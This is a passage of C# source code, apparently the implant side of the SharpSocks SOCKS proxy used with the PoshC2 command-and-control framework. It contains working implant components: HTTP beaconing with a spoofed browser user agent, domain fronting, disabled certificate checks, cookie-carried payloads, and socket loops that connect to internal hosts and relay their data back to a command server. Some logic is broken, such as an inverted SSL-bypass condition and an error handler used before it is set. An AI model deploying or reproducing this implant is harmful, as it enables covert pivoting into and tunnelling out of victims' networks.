32 | public void FailError(String error)
33 | {
34 | _implantComms.FailError(error, Guid.Empty);
35 | throw new Exception(error);
36 | }
37 |
38 | public void LogError(List errors)
39 | {
40 | var sb = new StringBuilder();
41 | errors.ForEach(x =>
42 | {
43 | sb.AppendLine(x);
44 | });
45 | _implantComms.LogError(sb.ToString());
46 | }
47 |
48 | public void LogError(String error)
49 | {
50 | _implantComms.LogError(error);
51 | }
52 |
53 | public void LogVerboseError(String error)
54 | {
55 | if (VerboseErrors)
56 | _implantComms.LogError(error);
57 | }
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Extensions/WebClientEx.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Net;
3 |
4 | namespace SocksProxy.Classes.Extensions
5 | {
6 | public class WebClientEx : WebClient
7 | {
8 | readonly string DEFAULTUSERAGENT = @"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36";
9 | bool _InsecureSSL;
10 | String frontingDomain;
11 | public bool AutoRedirect { get; set; }
12 | public HttpStatusCode StatusCode { get; set; }
13 | public long ElapsedTime { get; set; }
14 | string _userAgent = null;
15 | public string UserAgent {
16 | get {
17 | if (String.IsNullOrWhiteSpace(_userAgent))
18 | return DEFAULTUSERAGENT;
19 | else
20 | return _userAgent;
21 | }
22 | set { _userAgent = value; }
23 | }
24 |
25 | public WebClientEx(CookieContainer container)
26 | {
27 | this.container = container;
28 | AutoRedirect = true;
29 | }
30 |
31 | public WebClientEx(CookieContainer container, bool InsecureSSL = true)
32 | {
33 | this.container = container;
34 | _InsecureSSL = InsecureSSL;
35 | AutoRedirect = true;
36 | }
37 |
38 | public WebClientEx(CookieContainer container, String FrontingDomain, bool InsecureSSL = true)
39 | {
40 | this.container = container;
41 | _InsecureSSL = InsecureSSL;
42 | AutoRedirect = true;
43 | frontingDomain = FrontingDomain;
44 | }
45 |
46 | public WebClientEx(bool InsecureSSL)
47 | {
48 | _InsecureSSL = InsecureSSL;
49 | AutoRedirect = true;
50 | }
51 |
52 | public CookieContainer CookieContainer
53 | {
54 | get { return container; }
55 | set { container = value; }
56 | }
57 |
58 | private CookieContainer container = new CookieContainer();
59 |
60 | protected override WebRequest GetWebRequest(Uri address)
61 | {
62 | WebRequest r = base.GetWebRequest(address);
63 |
64 | ((HttpWebRequest)r).AllowAutoRedirect = AutoRedirect;
65 | ((HttpWebRequest)r).ServicePoint.Expect100Continue = false;
66 | ((HttpWebRequest)r).ServicePoint.ConnectionLimit = 150;
67 | ((HttpWebRequest)r).UserAgent = UserAgent;
68 |
69 | var request = r as HttpWebRequest;
70 | if (!_InsecureSSL)
71 | ServicePointManager.ServerCertificateValidationCallback = (z, y, x, w) => { return true; };
72 |
73 | if (request != null)
74 | request.CookieContainer = container;
75 | return r;
76 | }
77 |
78 | protected override WebResponse GetWebResponse(WebRequest request, IAsyncResult result)
79 | {
80 |
81 | var response = (HttpWebResponse)base.GetWebResponse(request, result);
82 | ReadCookies(response);
83 | StatusCode = response.StatusCode;
84 | return response;
85 | }
86 |
87 | protected override WebResponse GetWebResponse(WebRequest request)
88 | {
89 | try
90 | {
91 | var response = (HttpWebResponse)base.GetWebResponse(request);
92 | ReadCookies(response);
93 | StatusCode = response.StatusCode;
94 | return response;
95 | }
96 | catch (Exception ex)
97 | {
98 | throw ex;
99 | }
100 | }
101 |
102 | private void ReadCookies(WebResponse r)
103 | {
104 | if (r is HttpWebResponse response)
105 | {
106 | CookieCollection cookies = response.Cookies;
107 | container.Add(cookies);
108 | }
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Helpers/LogToConsole.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Interfaces;
2 | using System;
3 | using System.CodeDom;
4 | using System.CodeDom.Compiler;
5 | using System.IO;
6 | using System.Linq;
7 | using System.Text;
8 |
9 |
10 | namespace ImplantSide.Classes.Helpers
11 | {
12 | public class LogToConsole : IImplantLog
13 | {
14 | bool _verbose = false;
15 | public void LogError(String errorMesg) { Console.WriteLine($"[{DateTime.Now}][X]: {errorMesg}"); }
16 | public void LogMessage(String mesg) { Console.WriteLine($"[{DateTime.Now}][!]: {mesg}"); }
17 |
18 | public bool FailError(String mesg, Guid ErrorCode)
19 | {
20 | Console.WriteLine($"[{DateTime.Now}][X] Error Code: {ErrorCode} + Message: {mesg} ");
21 | throw new Exception($"{mesg}");
22 | }
23 |
24 | public void BannerMesg(String mesg)
25 | {
26 | Console.WriteLine(mesg);
27 | }
28 |
29 | public void HexDump(byte[] data, int width = 16)
30 | {
31 | var ctr = 0;
32 | data.Select((b, i) => new { Byte = b, Index = i })
33 | .GroupBy(o => o.Index / width)
34 | .Select(g =>
35 | g
36 | .Aggregate(
37 | new { Hex = new StringBuilder(), Chars = new StringBuilder() },
38 | (a, o) => { a.Hex.AppendFormat("{0:X2} ", o.Byte); a.Chars.Append(Convert.ToChar(o.Byte)); return a; },
39 | a => new { Index = (ctr++ * width).ToString("X4"), Hex = a.Hex.ToString(), Chars = a.Chars.ToString() }
40 | )
41 | )
42 | .ToList().ForEach(y =>
43 | {
44 | Console.WriteLine($"{y.Index} {y.Hex.ToString().ToLower()} {ToLiteral(y.Chars)}");
45 | });
46 | }
47 |
48 | static string ToLiteral(string input)
49 | {
50 | using (var writer = new StringWriter())
51 | {
52 | using (var provider = CodeDomProvider.CreateProvider("CSharp"))
53 | {
54 | provider.GenerateCodeFromExpression(new CodePrimitiveExpression(input), writer, null);
55 | var result = writer.ToString();
56 | result = result.Replace("\"", "");
57 | var chars = result.ToCharArray();
58 | var sb = new StringBuilder();
59 | for (var i = 0; i < chars.Length; i++)
60 | {
61 | if ((((i + 1) < chars.Length)) && (chars[i] == '\\' && Char.IsLetter(chars[i + 1])))
62 | {
63 | sb.Append(chars[i++]);
64 | sb.Append(chars[i]);
65 | }
66 | else
67 | {
68 | sb.Append(" ");
69 | sb.Append(chars[i]);
70 | }
71 | }
72 |
73 | return sb.ToString();
74 | }
75 | }
76 | }
77 |
78 | public void SetVerboseOn() { _verbose = true; }
79 | public void SetVerboseOff() { _verbose = false; }
80 | public bool IsVerboseOn() { return _verbose; }
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Helpers/WebExceptionAnalyzer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 |
4 |
5 | namespace ImplantSide.Classes.Helpers
6 | {
7 | public static class WebExceptionAnalyzer
8 | {
9 | //This checks to see if it is worth attempting to recover from the exception that has been thrown by resending
10 | public static bool IsTransient(Exception ex)
11 | {
12 | var webException = ex as System.Net.WebException;
13 | if (webException != null)
14 | {
15 | // If the web exception contains one of the following status values
16 | // it may be transient.
17 | if (new[] {System.Net.WebExceptionStatus.ConnectionClosed,
18 | System.Net.WebExceptionStatus.Timeout,
19 | System.Net.WebExceptionStatus.RequestCanceled,
20 | System.Net.WebExceptionStatus.ReceiveFailure,
21 | }.Contains(webException.Status))
22 | {
23 | return true;
24 | }
25 | }
26 | return false;
27 | }
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Integration/PoshCreateProxy.cs:
--------------------------------------------------------------------------------
1 | using Common.Encryption.SimpleEncryptor;
2 | using ImplantSide.Classes;
3 | using ImplantSide.Classes.Socks;
4 | using ImplantSide.Interfaces;
5 | using System;
6 | using System.Collections.Generic;
7 | using System.Linq;
8 | using System.Net;
9 | using System.Security;
10 | using System.Text;
11 | using System.Threading.Tasks;
12 |
13 | namespace SocksProxy.Classes.Integration
14 | {
15 | public static class PoshCreateProxy
16 | {
17 |
18 | public static SocksController CreateSocksController(Uri serverUri, String commandChannelId, String HostHeader, String userAgent, SecureString key, List urlPaths, String sessionCookieName, String payloadCookieName, IWebProxy wbProxy = null, short beaconTime = 5000, IImplantLog implantcomms = null, bool insecureSSL = true)
19 | {
20 | //Increase the number of possible Remote Connections to the one host
21 | ServicePointManager.DefaultConnectionLimit = 150;
22 | IImplantLog icomms = implantcomms ?? new PoshDefaultImplantComms();
23 | var config = new SocksClientConfiguration
24 | {
25 | CommandChannelSessionId = commandChannelId,
26 | BeaconTime = beaconTime,
27 | UserAgent = userAgent,
28 | CommandServerUI = serverUri,
29 | UseProxy = (null != wbProxy),
30 | WebProxy = wbProxy,
31 | URLPaths = urlPaths,
32 | ImplantComms = icomms,
33 | HostHeader = HostHeader,
34 | PayloadCookieName = payloadCookieName,
35 | SessionCookieName = sessionCookieName,
36 | //By Default SSL Validation is disabled this is to aid intitial testing
37 | //of the deployed infrastructure before a Production Release.
38 | //It is reccomended that this is enabled before deploying to a full Scenario.
39 | InsecureSSL = insecureSSL
40 | };
41 |
42 | if (null == key)
43 | throw new Exception("Encryption key is null");
44 |
45 | var socks = new SocksController(config)
46 | {
47 | Encryptor = new DebugSimpleEncryptor(key),
48 | ImplantComms = icomms
49 | };
50 | socks.Initialize();
51 | return socks;
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Integration/PoshDefaultImplantComms.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Interfaces;
2 | using System;
3 | using System.Collections.Generic;
4 |
5 | namespace SocksProxy.Classes.Integration
6 | {
7 | public class PoshDefaultImplantComms : IImplantLog
8 | {
9 | bool _verbose = false;
10 | public Action _LogError { get; set; }
11 | public Action _LogMessage { get; set; }
12 | public Func _FailError { get; set; }
13 | public Action _BannerMesg { get; set; }
14 |
15 | public void LogError(String errorMesg)
16 | {
17 | _LogError?.Invoke(errorMesg);
18 | }
19 |
20 | public void LogMessage(String mesg)
21 | {
22 | _LogMessage?.Invoke(mesg);
23 | }
24 |
25 | public bool FailError(String mesg, Guid ErrorCode)
26 | {
27 | if (null != _FailError)
28 | return _FailError(mesg, ErrorCode);
29 | else
30 | return false;
31 | }
32 |
33 | public void BannerMesg(String mesg)
34 | {
35 | _BannerMesg?.Invoke(mesg);
36 | }
37 |
38 | public void SetVerboseOn() { _verbose = true; }
39 | public void SetVerboseOff() { _verbose = false; }
40 | public bool IsVerboseOn() { return _verbose; }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Logging/DebugFileLogging.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Interfaces;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace SharpSocksServer.ServerComms
10 | {
11 | public class DebugFileLog : IImplantLog
12 | {
13 | String FileName = null;
14 | public String LogFilePath { get { return FileName; } }
15 | object _locker = new object();
16 |
17 | public DebugFileLog()
18 | {
19 | var LogPath = Path.GetTempPath();
20 |
21 | if (!Directory.Exists(LogPath))
22 | throw new Exception($"ERROR: Log directory {LogPath} does not exist");
23 |
24 | FileName = Path.Combine(LogPath, $"SharpSocks_Log_{DateTime.Now.ToString("yyyy-dd-M--HH-mm-ss")}.txt");
25 | }
26 |
27 | public DebugFileLog(String LogPath)
28 | {
29 | if (!Directory.Exists(LogPath))
30 | throw new Exception($"ERROR: Log directory {LogPath} does not exist");
31 |
32 | FileName = Path.Combine(LogPath, $"SharpSocks_Log_{DateTime.Now.ToString("yyyy-dd-M--HH-mm-ss")}.txt");
33 | }
34 | bool _verbose = false;
35 |
36 | void WriteToFile(String text)
37 | {
38 | lock (_locker)
39 | {
40 | Stream logfile = null;
41 | try
42 | {
43 | if (!File.Exists(FileName))
44 | logfile = File.Open(FileName, FileMode.OpenOrCreate, FileAccess.Write);
45 | else
46 | logfile = File.Open(FileName, FileMode.Append, FileAccess.ReadWrite);
47 |
48 | using (var sw = new StreamWriter(logfile))
49 | {
50 | sw.WriteLine(text);
51 | }
52 | }
53 | catch (Exception ex)
54 | {
55 | throw new Exception($"ERROR: Unable to write to {FileName}: {ex.Message}");
56 | }
57 | finally
58 | {
59 | if (null != logfile)
60 | {
61 | logfile.Close();
62 | logfile = null;
63 | }
64 | }
65 | }
66 | }
67 |
68 | public void LogError(String errorMesg)
69 | {
70 | lock (_locker)
71 | {
72 |
73 | WriteToFile($"[{DateTime.Now}][X] {errorMesg}");
74 | }
75 | }
76 | public void LogMessage(String mesg)
77 | {
78 | WriteToFile($"[{DateTime.Now}][!] {mesg}");
79 | }
80 |
81 | public bool FailError(String mesg, Guid ErrorCode)
82 | {
83 | WriteToFile($"[{DateTime.Now}][X] Error Code: {ErrorCode} Message: {mesg} ");
84 | throw new Exception($"{mesg}");
85 | }
86 |
87 | public void BannerMesg(String mesg)
88 | {
89 | Console.WriteLine(mesg);
90 | }
91 |
92 | public void SetVerboseOn() { _verbose = true; }
93 | public void SetVerboseOff() { _verbose = false; }
94 | public bool IsVerboseOn() { return _verbose; }
95 | }
96 | }
97 |
98 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Socks/SocksController.cs:
--------------------------------------------------------------------------------
1 | using Common.Classes.Encryption;
2 | using ImplantSide.Classes.Comms;
3 | using ImplantSide.Classes.Constants;
4 | using ImplantSide.Classes.ErrorHandler;
5 | using ImplantSide.Interfaces;
6 | using SocksProxy.Classes.Socks;
7 | using System;
8 | using System.Collections.Generic;
9 |
10 |
11 | namespace ImplantSide.Classes.Socks
12 | {
13 | public class SocksController
14 | {
15 | public IEncryptionHelper Encryptor { get; set; }
16 | public IImplantLog ImplantComms { get; set; }
17 |
18 | object _locker = new Object();
19 | List _errorQueue = new List();
20 | CommandChannelController _cmdChannel;
21 | CommandCommunicationHandler _cmdCommsHandler;
22 | SocksLoopController _sockLoopctrller;
23 | InternalErrorHandler _error;
24 | SocksClientConfiguration _config;
25 |
26 | public SocksController(SocksClientConfiguration config)
27 | {
28 | List mesg = new List();
29 | if (config == null)
30 | throw new Exception("Config object is null");
31 | if (config.CommandServerUI == null)
32 | mesg.Add("ProxyIP is null");
33 | if (config.ImplantComms == null)
34 | throw new Exception("Implant callback is null");
35 |
36 | _config = config;
37 |
38 | if (mesg.Count > 0)
39 | _error.LogError(mesg);
40 | }
41 |
42 | public string Initialize()
43 | {
44 | string pubKey = null;
45 | try
46 | {
47 | _error = new InternalErrorHandler(_config.ImplantComms);
48 | _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error) { ImplantComms = ImplantComms };
49 | Int16 beaconTime = (_config.BeaconTime > 0) ? _config.BeaconTime : (short)400;
50 | _sockLoopctrller = new SocksLoopController(ImplantComms, _cmdCommsHandler, beaconTime)
51 | {
52 | Encryption = Encryptor,
53 | ErrorHandler = _error
54 | };
55 | _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error) { ImplantComms = ImplantComms };
56 | }
57 | catch (Exception ex)
58 | {
59 | var mesg = new List
60 | {
61 | "Failed to derive server key",
62 | ex.Message
63 | };
64 | _error.LogError(mesg);
65 | }
66 | return pubKey;
67 | }
68 |
69 | public bool SendViaImplant { get; set; }
70 | public bool SilentlyDie { get; set; }
71 | public STATUS Status { get; set; }
72 |
73 | public bool Start()
74 | {
75 | _cmdChannel.StartCommandLoop(this);
76 | return true;
77 | }
78 |
79 | public void StopProxyComms() //This is used by the command loop controller in case that it dies
80 | {
81 | _sockLoopctrller.StopAll();
82 | }
83 |
84 | public void Stop()
85 | {
86 | _cmdChannel.StopCommandChannel();
87 | _sockLoopctrller.StopAll();
88 | }
89 |
90 | public void HARDStop()
91 | {
92 | _cmdChannel.StopCommandChannel();
93 | _sockLoopctrller.HARDStopAll();
94 | }
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Socks/SocksLoopController.cs:
--------------------------------------------------------------------------------
1 | using Common.Classes.Encryption;
2 | using ImplantSide.Classes.Comms;
3 | using ImplantSide.Classes.ErrorHandler;
4 | using ImplantSide.Classes.Target;
5 | using ImplantSide.Interfaces;
6 | using SharpSocksImplant.Classes.Socks;
7 | using System;
8 | using System.Collections.Generic;
9 | using System.Linq;
10 | using System.Net;
11 | using System.Threading;
12 | using System.Threading.Tasks;
13 |
14 | namespace SocksProxy.Classes.Socks
15 | {
16 | public class SocksLoopController
17 | {
18 | internal Dictionary _targets = new Dictionary();
19 | public InternalErrorHandler ErrorHandler { get; set; }
20 | public IImplantLog ImplantComms { get; set; }
21 | public IEncryptionHelper Encryption { get; set; }
22 | public CommandCommunicationHandler CmdCommshandler { get; set; }
23 | public AutoResetEvent Timeout = new AutoResetEvent(false);
24 | public Int16 BeaconTime { get; set; }
25 | public Dictionary _mapTargetToCount = new Dictionary();
26 | static SocksSocketComms socketComms;
27 | static List _socketCommsTasks = new List();
28 |
29 | public SocksLoopController(IImplantLog icomms, CommandCommunicationHandler comms, Int16 beaconTime)
30 | {
31 | ImplantComms = icomms;
32 | CmdCommshandler = comms;
33 | BeaconTime = beaconTime;
34 | socketComms = new SocksSocketComms() { ImplantComms = ImplantComms, CmdCommshandler = comms, BeaconTime = beaconTime};
35 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.WriteToSocket(), TaskCreationOptions.LongRunning));
36 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.ReadFromSocket(), TaskCreationOptions.LongRunning));
37 | _socketCommsTasks.Add(Task.Factory.StartNew(() => socketComms.SendToTarget(), TaskCreationOptions.LongRunning));
38 | }
39 |
40 | public bool OpenNewConnectionToTarget(String targetId, String targetHost, ushort targetPort)
41 | {
42 | var target = new TargetInfo() { TargetId = targetId, TargetPort = targetPort, TargetHost = targetHost };
43 | System.Net.Sockets.AddressFamily AF_TYPE = System.Net.Sockets.AddressFamily.InterNetwork;
44 | //Step 1. Open connection to target
45 | IPAddress targetIP = null;
46 | try
47 | {
48 | var hostNameType = Uri.CheckHostName(targetHost);
49 | switch (hostNameType)
50 | {
51 | case UriHostNameType.Dns:
52 | var iph = Dns.GetHostEntry(targetHost);
53 | if (null != iph && null != iph.AddressList)
54 | {
55 | var firstIP = iph.AddressList.First();
56 | if (null != firstIP && !String.IsNullOrWhiteSpace(firstIP.ToString()))
57 | targetIP = firstIP;
58 | else
59 | {
60 | ErrorHandler.LogError($"Unable to resolve the host {targetHost}");
61 | return false;
62 | }
63 | if (Uri.CheckHostName(targetIP.ToString()) == UriHostNameType.IPv6)
64 | AF_TYPE = System.Net.Sockets.AddressFamily.InterNetworkV6;
65 | }
66 | break;
67 | case UriHostNameType.IPv6:
68 | case UriHostNameType.IPv4:
69 | targetIP = IPAddress.Parse(targetHost);
70 | break;
71 | default:
72 | ErrorHandler.LogError($"Unable to resolve the host {targetHost}");
73 | return false;
74 | }
75 |
76 | if (Uri.CheckHostName(targetIP.ToString()) == UriHostNameType.IPv6)
77 | AF_TYPE = System.Net.Sockets.AddressFamily.InterNetworkV6; ;
78 |
79 | target.TargetTcpClient = new System.Net.Sockets.TcpClient(AF_TYPE);
80 | target.TargetTcpClient.Connect(new System.Net.IPEndPoint(targetIP, targetPort));
81 | if (!target.TargetTcpClient.Connected)
82 | return false;
83 |
84 | }
85 | catch (Exception ex)
86 | {
87 | var lst = new List
88 | {
89 | "Failed to create connection to " + targetIP.ToString() + " on port " + targetPort.ToString(),
90 | ex.Message
91 | };
92 | ErrorHandler.LogError(lst);
93 | return false;
94 | }
95 |
96 | //Step 2. Start Proxy Loop
97 | target.ProxyLoop = new Task((g) =>
98 | {
99 | try
100 | {
101 | ProxyLoop((String)g);
102 | }
103 | catch (Exception ex)
104 | {
105 | ErrorHandler.LogError($"Error in proxy loop: {ex.Message}");
106 |
107 | if (null != target && null != target.TargetTcpClient)
108 | if (target.TargetTcpClient.Connected)
109 | target.TargetTcpClient.Close();
110 | }
111 | }, targetId, TaskCreationOptions.LongRunning);
112 |
113 | _targets.Add(targetId, target);
114 | socketComms.AddTarget(targetId, target);
115 | target.ProxyLoop.Start();
116 | return true;
117 | }
118 |
119 | bool ProxyLoop(String targetId)
120 | {
121 | List toSend = null;
122 | bool connectionHasFailed = false, connectionDead = false;
123 | TargetInfo target = null;
124 | _mapTargetToCount.Add(targetId, 1);
125 | var wait = new ManualResetEvent(false);
126 | try
127 | {
128 | target = _targets[targetId];
129 | if (null == target)
130 | {
131 | ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop");
132 | return true;
133 | }
134 |
135 | while (!target.Exit)
136 | {
137 | toSend = CmdCommshandler.Send(target, "nochange", null, out connectionDead);
138 | if (null == toSend || connectionDead)
139 | {
140 | ErrorHandler.LogError($"[{target.TargetId}] Connection looks dead EXITING");
141 | return target.Exit = connectionDead;
142 | }
143 | else if (toSend.Count > 0 )
144 | {
145 | target.WriteQueue.Enqueue(toSend);
146 | socketComms.SentData.Set();
147 | _mapTargetToCount[targetId] = 1;
148 | }
149 | else
150 | if (_mapTargetToCount[targetId]++ == 2)
151 | ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request");
152 | else
153 | ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request({_mapTargetToCount[targetId]})");
154 | wait.WaitOne(BeaconTime);
155 | }
156 | return true;
157 | }
158 | catch(Exception ex)
159 | {
160 | ErrorHandler.LogError($"[{target.TargetId}] ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}");
161 | if (null != target && null != target.TargetTcpClient)
162 | if (target.TargetTcpClient.Connected)
163 | target.TargetTcpClient.Close();
164 | else
165 | ErrorHandler.LogError($"[{target.TargetId}] Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} ");
166 | }
167 | finally
168 | {
169 | if (null != target && null != target.TargetTcpClient)
170 | if (target.TargetTcpClient.Connected)
171 | target.TargetTcpClient.Close();
172 |
173 | if (!connectionHasFailed)
174 | CmdCommshandler.Send(target, "closed", null, out connectionDead);
175 | }
176 | target.Exit = true;
177 | return true;
178 | }
179 |
180 | public void StopAll()
181 | {
182 | ImplantComms.LogMessage($"Shutdown all connections triggered");
183 | _targets.Keys.ToList().ForEach(x => {
184 | Stop(x);
185 | });
186 | }
187 |
188 | public void Stop(String targetId)
189 | {
190 | var target = _targets[targetId];
191 | ImplantComms.LogMessage($"Closing connection to {target.TargetHost}:{target.TargetPort}");
192 | if (null != target)
193 | {
194 | target.Exit = true;
195 | }
196 | }
197 |
198 | public void HARDStopAll()
199 | {
200 | ImplantComms.LogMessage($"HARD STOP ALL TRIGGERED");
201 | _targets.Keys.ToList().ForEach(x => {
202 | HARDStop(x);
203 | });
204 | }
205 |
206 | public bool HARDStop(String targetId)
207 | {
208 | var target = _targets[targetId];
209 | ImplantComms.LogMessage($"HARD STOP ALL ON CONNECTION TO {target.TargetHost}:{target.TargetPort}");
210 | if (null != target)
211 | {
212 | target.Exit = true;
213 | target.TargetTcpClient.Close();
214 | return true;
215 | }
216 | else
217 | return false;
218 | }
219 | }
220 | }
221 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Socks/SocksSocketReader.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Classes.Comms;
2 | using ImplantSide.Classes.Target;
3 | using ImplantSide.Interfaces;
4 | using System;
5 | using System.Collections.Concurrent;
6 | using System.Collections.Generic;
7 | using System.Linq;
8 | using System.Net.Sockets;
9 | using System.Threading;
10 | using System.Threading.Tasks;
11 |
12 | namespace SharpSocksImplant.Classes.Socks
13 | {
14 | public class SocksSocketComms
15 | {
16 | public IImplantLog ImplantComms { get; set; }
17 | public CancellationToken Cancel { get; private set; }
18 | public ManualResetEvent RecvedData { get; private set; }
19 | public ManualResetEvent SentData { get; private set; }
20 | public ConcurrentDictionary Targets {get; set;}
21 | public CommandCommunicationHandler CmdCommshandler { get; set; }
22 | public Int16 BeaconTime { get; set; }
23 | public Int32 TotalBytesRead { get; private set; }
24 | public Int32 TotalBytesWritten { get; private set; }
25 | ManualResetEvent _timeout = new ManualResetEvent(false);
26 |
27 | public SocksSocketComms()
28 | {
29 | Cancel = new CancellationToken();
30 | RecvedData = new ManualResetEvent(false);
31 | SentData = new ManualResetEvent(true);
32 | Targets = new ConcurrentDictionary();
33 | }
34 |
35 | public void AddTarget(String targetId, TargetInfo trgtinfo)
36 | {
37 | if (!Targets.ContainsKey(targetId))
38 | Targets.TryAdd(targetId, trgtinfo);
39 | }
40 |
41 | public void RemoveTarget(String targetId)
42 | {
43 | if (Targets.ContainsKey(targetId))
44 | Targets.TryRemove(targetId, out TargetInfo trgtinfo);
45 | }
46 |
47 | public void ReadFromSocket()
48 | {
49 | var arrayBuffer = new byte[512000];
50 | var bytectr = 0;
51 | while (!Cancel.IsCancellationRequested)
52 | {
53 | foreach (var key in Targets.Keys)
54 | {
55 | TargetInfo trget = null;
56 | try
57 | {
58 | if (Targets.ContainsKey(key))
59 | trget = Targets[key];
60 |
61 | if (!trget.Exit)
62 | {
63 | var stream = trget.TargetTcpClient.GetStream();
64 | if (Cancel.IsCancellationRequested || trget.Exit)
65 | return;
66 |
67 | if (IsConnected(trget.TargetTcpClient.Client))
68 | {
69 | if (stream.CanRead && stream.DataAvailable)
70 | {
71 | int ctr = 0;
72 | bytectr = 0;
73 | do
74 | {
75 | var bytesRead = stream.Read(arrayBuffer, 0, 512000);
76 | bytectr += bytesRead;
77 | if (bytesRead > 0)
78 | {
79 | TotalBytesRead += bytesRead;
80 | trget.ReadQueue.Enqueue(arrayBuffer.Take(bytesRead).ToList());
81 | }
82 | ctr++;
83 | } while (!_timeout.WaitOne(10) && stream.CanRead && stream.DataAvailable);
84 | if (ctr >= 1)
85 | {
86 | RecvedData.Set();
87 | ImplantComms.LogMessage($"[{trget.TargetId}] Socks {trget.TargetTcpClient.Client.RemoteEndPoint.ToString()} read {bytectr} available bytes");
88 | }
89 | }
90 | }
91 | else
92 | if (null != trget)
93 | trget.Exit = true;
94 |
95 | }
96 | }
97 | catch
98 | {
99 | if (null != trget)
100 | trget.Exit = true;
101 | }
102 |
103 | if (trget?.Exit ?? true )
104 | {
105 | try { if (null != trget?.TargetTcpClient) trget.TargetTcpClient.Close(); }
106 | catch { /*Dont relly care if exception thrown here*/ }
107 | if (Targets.ContainsKey(key))
108 | Targets.TryRemove(key, out TargetInfo tgexit);
109 | ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
110 | }
111 | }
112 | _timeout.WaitOne(100);
113 | }
114 | }
115 |
116 | public void WriteToSocket()
117 | {
118 | while (!Cancel.IsCancellationRequested)
119 | {
120 | SentData.WaitOne(-1);
121 | SentData.Reset();
122 | foreach (var key in Targets.Keys)
123 | {
124 | TargetInfo trget = null;
125 | NetworkStream stream = null;
126 | try
127 | {
128 | if (Targets.ContainsKey(key))
129 | trget = Targets[key];
130 |
131 | if (null != trget && !trget.Exit)
132 | {
133 | stream = trget.TargetTcpClient.GetStream();
134 | if (trget.WriteQueue.Count > 0)
135 | {
136 | var toSend = new List();
137 | List pyld = null;
138 | while (trget.WriteQueue.Count() > 0)
139 | {
140 | trget.WriteQueue.TryDequeue(out pyld);
141 | if (pyld.Count > 0)
142 | toSend.AddRange(pyld);
143 | }
144 | if (IsConnected(trget.TargetTcpClient.Client))
145 | {
146 | if (toSend != null && toSend.Count() > 0)
147 | {
148 | TotalBytesWritten += toSend.Count;
149 | stream.Write(toSend.ToArray(), 0, toSend.Count());
150 | stream.Flush();
151 | ImplantComms.LogMessage($"[{trget.TargetId}] Written {toSend.Count()} from client");
152 | }
153 | }
154 | else
155 | if (null != trget)
156 | trget.Exit = true;
157 | }
158 | }
159 | }
160 | catch
161 | {
162 | if (null != trget)
163 | trget.Exit = true;
164 | }
165 |
166 | if (!trget?.TargetTcpClient?.Connected ?? false || (trget?.Exit ?? true))
167 | {
168 | try { if (null != stream) stream.Close(); }
169 | catch { /*Dont relly care if exception thrown here*/ }
170 |
171 | try { if (null != trget?.TargetTcpClient) trget.TargetTcpClient.Close();}
172 | catch { /*Dont relly care if exception thrown here*/ }
173 | if (Targets.ContainsKey(key))
174 | Targets.TryRemove(key, out TargetInfo tgexit);
175 | ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
176 | }
177 | }
178 | }
179 | }
180 |
181 | public void SendToTarget()
182 | {
183 | var SendWait = new ManualResetEvent(false);
184 | while (!Cancel.IsCancellationRequested)
185 | {
186 | RecvedData.WaitOne(-1); ;
187 | RecvedData.Reset();
188 | foreach (var key in Targets.Keys)
189 | {
190 | TargetInfo trget = null;
191 | try
192 | {
193 | if (Targets.ContainsKey(key))
194 | trget = Targets[key];
195 |
196 | if (null != trget && !trget.Exit)
197 | {
198 | List readPyld = null;
199 |
200 | var payload = new List();
201 | while (trget.ReadQueue.Count > 0)
202 | {
203 | trget.ReadQueue.TryDequeue(out readPyld);
204 | payload.AddRange(readPyld);
205 | }
206 | if (payload.Count > 0)
207 | {
208 | Task.Factory.StartNew(() =>
209 | {
210 | List toSend = null;
211 | try
212 | {
213 | toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead);
214 | ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes");
215 | if (null == toSend || connectionDead)
216 | {
217 | ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING");
218 | trget.Exit = true;
219 | }
220 | else if (toSend.Count > 0)
221 | {
222 | trget.WriteQueue.Enqueue(toSend);
223 | SentData.Set();
224 | }
225 | }
226 | catch
227 | {
228 | trget.Exit = true;
229 | ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes");
230 | }
231 | });
232 | ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back");
233 | }
234 | }
235 | SendWait.WaitOne(BeaconTime);
236 | }
237 | catch (Exception ex)
238 | {
